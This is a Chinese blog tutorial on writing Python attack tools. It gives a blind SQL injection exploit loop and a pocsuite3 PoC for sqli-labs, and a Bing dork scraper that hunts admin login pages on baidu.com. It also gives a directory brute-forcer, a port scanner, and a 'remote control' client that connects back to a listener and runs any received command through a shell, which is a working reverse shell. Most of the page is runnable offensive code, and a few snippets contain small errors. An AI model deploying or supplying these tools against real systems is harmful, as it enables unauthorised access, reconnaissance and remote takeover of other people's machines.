Python工具编写

python

1. EXP编写

(1). 概述

a. POC

Proof of Concept，概念验证，可以理解为：验证漏洞是否存在的程序

b. EXP

中文直译为 漏洞利用，即通过EXP能够实现漏洞的利用价值

(2). 编写思路

a. 漏洞(POC)方面

了解漏洞详细信息(原理&版本) => 触发原因 => 触发后结果

b. exp方面

确定使用的编程语言 => 主流场景

(3). 实例

#判断数据库名长度
dbNameLen = 0
while True:
    Payload = "?id=1'+and+length(database())=" + str(dbNameLen) + '--+'
    dbNameLen_url = baseurl + Payload
    if normalUrlLen == len(requests.get(dbNameLen_url).text):
        print('数据库名长度为：'+str(dbNameLen))
        break
    if dbNameLen == 30:
        print('Error')
        break
    dbNameLen += 1

2. POC编写

(1). 流程

了解漏洞详细信息(原理&版本) => 触发原因、验证方式 => 搭建环境，复现漏洞 => 确定编写语言 => 结合原理编写

(2). pocsuite框架

a. 下载与安装

pip安装

#cmd命令行
pip3 install -U pocsuite3 --no-cache-dir
#检验安装效果
pocsuite-h

源码安装

#1. 下载安装包
wget https://github.com/knownsec/pocsuite3/archive/master.zip
#2. 解压安装包
unzip master.zip

b.使用模式

①Verify模式

pocsuite -r [poc文件相对/绝对路径] -u [测试目标] --verify

#实例
pocsuite -r D:/PythonProgram/04/Poc-sql-lab8.py -u http://192.168.100.40:54128/Less-08/ --verify

②attack模式

pocsuite -r [poc文件相对/绝对路径] -u [测试目标] --attack

③批量验证

pocsuite -r [poc文件相对/绝对路径] -f [url文件路径] --verify

④单目标多验证

pocsuite -r [poc目录相对/绝对路径] -u [测试目标] --verify

⑤多线程

pocsuite -r [poc文件相对/绝对路径] -u [测试目标] --verify --threads 10

Pocsuite3-使用

c. 编写规范

①api接口

Pocsuite3-API接口

②编写py文件

#1.导入需要的模块
from pocsuite3.api import Output, POCBase, register_poc, requests

#2.名称需合规，并继承于POCBase父类
class BooleanBindPOC(POCBase):
    pass

	#3.填写Poc信息字段
    ...

    #4.编写验证模块，只验证是否存在漏洞
 	def _varify(self):
        pass
    #5.编写攻击模块，进一步利用漏洞
    def _attack(self):
        pass
    #6.编写结果处理模块
    def parse_output(self,result):
        pass

#7.注册Poc文件
register_poc(BooleanBindPOC)

③规范要求

文件名称需要符合PoC命名规范
类的名称需符合规范
POC信息字段****必须全部填写
返回结果result中的key值必须按照下面规范填写
在类的外部进行自定义PoC类的注册

④实例

from pocsuite3.api import Output, POCBase, register_poc, requests

class BooleanBindPOC(POCBase):
    vulID = '1'
    version = '1.0.0'
    author = 'Laffrex'
    vulDate = '2024-10-11'
    createDate = '2024-10-11'
    updateDate = '2024-10-11'
    name = 'sql-labs-8-Boolean-Blind'
    appPowerLink = '127.0.0.1'
    appName = 'sql-labs'
    appVersion = '1.0.0'
    vulType = 'Sql Injection'
    desc = 'Boolean Blind'
    samples = ['http://192.168.100.40:port/Less-8/']
    install_requires = []
    pocDesc = 'Boolean Blind'

    def _verify(self):
        payload = "?id=1' and length(database())>0 --+"
        result = {}
        target = self.url
        totalUrl = target + payload
        req = requests.get(totalUrl)
        res = req.text
        if ("You are in........" in res):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = target
            result['VerifyInfo']['Payload'] = payload
            return self.parse_output(result)
        else:
            print('Not Found')

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

register_poc(BooleanBindPOC)

d. 验证结果

pocsuite使用

3. 子域名收集编写

(1). 编写思路

工具 => 选择搜索引擎 => 选择目标域名 => 编写爬虫爬取网址 => 信息处理 => 获取子域名

(2). 步骤

a. 导入模块

import requests
from bs4 import BeautifulSoup
import time

b. 选择搜索引擎

url = 'https://www.bing.com/search'

c. 设置头部，伪装成浏览器

#根据浏览器，携带对应的Cookie
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36",
    "Host": "www.bing.com",
    "Connection": "keep-alive",
    "Cookie": "MUID=2CB521A7EFF966811DB2357AEE85679E",
}

d. 设置搜索引擎搜索参数

for i in range(0, 5):
    #模拟搜索引擎参数
    data = {
        'q': 'inurl:login.php intitle:管理',
        'qs': 'n',
        'form': 'QBRE',
        'sp': '2',
        'lq': '0',
        'pq': 'site:baidu.com',
        'sc': '2-14',
        'sk': '',
        'cvid': 'C240F3719AAC402A87E7BD4A19D8949E',
        'ghsh': '1',
        'ghacc': '1',
        'ghpl': '',
        'first': i * 11
    }

e. 构建会话

session = requests.session()
results = session.get(url, headers=header, params=data,proxies=proxy)

f. 处理信息

soup = BeautifulSoup(results, 'html.parser')
urls = soup.find_all('cite')
pattern = r"(?:https?://)?(?:www\.)?([a-zA-Z0-9.-]+)"
match = re.search(pattern, cite.get_text())

sleep(3)

(3). 实例

import re
from bs4 import BeautifulSoup
import requests
import time

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36",
    "Host": "www.bing.com",
    "Connection": "keep-alive",
    "Cookie": "MUID=2CB521A7EFF966811DB2357AEE85679E",
}

proxy = {
    "http": "http://127.0.0.1:7890",
    "https": "http://127.0.0.1:7890"
}
domain = {}

for i in range(0, 5):
    #模拟搜索引擎参数
    data = {
        'q': 'inurl:login.php intitle:管理',
        'qs': 'n',
        'form': 'QBRE',
        'sp': '2',
        'lq': '0',
        'pq': 'site:baidu.com',
        'sc': '2-14',
        'sk': '',
        'cvid': 'C240F3719AAC402A87E7BD4A19D8949E',
        'ghsh': '1',
        'ghacc': '1',
        'ghpl': '',
        'first': i * 11
    }
    url = "https://www.bing.com/search"     #进行爬取操作
    session = requests.session()
    results = session.get(url, headers=header, params=data,proxies=proxy)

    #收集能成功访问的子域名
    if results.status_code == 200:
        soup = BeautifulSoup(results.content, 'html.parser')
        urls = soup.find_all('cite')
        pattern = r"(?:https?://)?(?:www\.)?([a-zA-Z0-9.-]+)"   #只匹配子域名
        for cite in urls:
            url_text = cite.get_text()
            match = re.search(pattern, url_text)
            if match:
                domain[match.group(1)] = None   #采用字典去重法
    time.sleep(5)

#写入文件
f = open('domain.txt','a',encoding='utf8')
for i in domain.keys():
    f.write(i+ '\n')
f.close()

print('操作完成')

4. 目录扫描编写

(1). 前提准备

url

字典

线程

(2). 编写思路

用户输入 => 处理信息 => 爬虫请求 => 返回结果

(3). 实例

import os.path
import sys
import threading
import requests
import queue

q = queue.Queue()

#设置多线程时的操作
def scan():
    exist_url = []
    while not q.empty():
        dir = q.get()
        urls = url + dir
        urls = urls.replace('\n', '')
        response = requests.get(urls)
        code = response.status_code
        if code == 200 or code == 403:
            print(urls + '      |' + '存在')

if __name__ == '__main__':
    path = os.path.dirname(os.path.realpath(__file__))
    #判断用户输入是否合规
    if len(sys.argv) < 4:
        print("使用说明: scan.py [url] [filename] [thread]")
        sys.exit()
    url = sys.argv[1]
    txt = sys.argv[2]
    thread = sys.argv[3]

    #读取文件内容进行爬虫请求
    file = open(path + "/" + txt)
    for dir in file:
        q.put(dir)
        for i in range(int(thread)):
            t = threading.Thread(target=scan)
            t.start()

5. 远控编写

(1). 前提准备

Socket网络编程知识
异常处理

(2). 编写思路

编写服务端，发送指令、接受信息 => 编写客户端，接受指令，发送信息 => 启动客户端、服务端

(3). 实例

a. 服务端

import socket

#设置监听ip、端口
host = '0.0.0.0'
port = 1234

#开启socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)
conn, addr = s.accept()
print(f"已连接: {addr}")

#发送执行命令，并接受返回结果
try:
    while True:
        cmd = input('请输出你要执行的命令：').encode('utf-8')
        conn.send(cmd)
        data = conn.recv(1024)
        handleData = data.decode('utf-8',errors='ignore')
        print('返回的结果是：' + handleData)
except Exception as e:
    print(e)
finally:
    s.close()

b. 客户端

import socket
import subprocess

#设置传输目标
host = '192.168.71.25'
port = 1234

#开启socket传输并建立连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
    cmd = s.recv(1024)	#接收指令
    try:
        try:
            result = subprocess.check_output(cmd.decode('utf-8'), stderr=subprocess.STDOUT, shell=True)
            s.sendall(result)	#发送执行指令的结果
        except Exception as e:
            s.sendall(str(e).encode('utf-8'))
    except Exception as e:
        print(str(e))
s.close()

6. 端口扫描编写

(1). 前提准备

Socket网络编程知识
线程知识

(2). 编写思路

通过socket对象判断是否有内容返回 => 封装为单端口扫描 => 启动多线程，并分别调用单端口扫描

(3). 实例

import socket
import threading

#通过信号量，限制最多同时运行5000个线程
thread_limit = threading.Semaphore(5000)
def singlePortScan(ip,port):
    with thread_limit:  #通过信号量进行限制，便于扫描多端口提速
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = s.connect_ex((ip,port))
        if result == 0:
            print(f'端口{port}已开放')
        s.close()
def multiPortScanThread(ip, thread):
    threads = []  # 用于保存所有线程
    for port in range(1, 10000):
        t = threading.Thread(target=singlePortScan, args=(ip, port))
        t.start()
        threads.append(t)
    # 等待所有线程完成
    for t in threads:
        t.join()
    print('端口扫描结束')

if __name__ == '__main__':
    singlePortScan('192.168.71.32',80)
    multiPortScanThread('192.168.71.32',50)

如果觉得文章对你有用，请随意赞赏

python

Python工具编写

http://localhost:8090/archives/e252fa84-9d6e-44b9-a2fe-a0e29ba2569f

作者

山木兮枝

发布于

2023-02-21

更新于

2024-10-27

许可协议

CC BY 4.0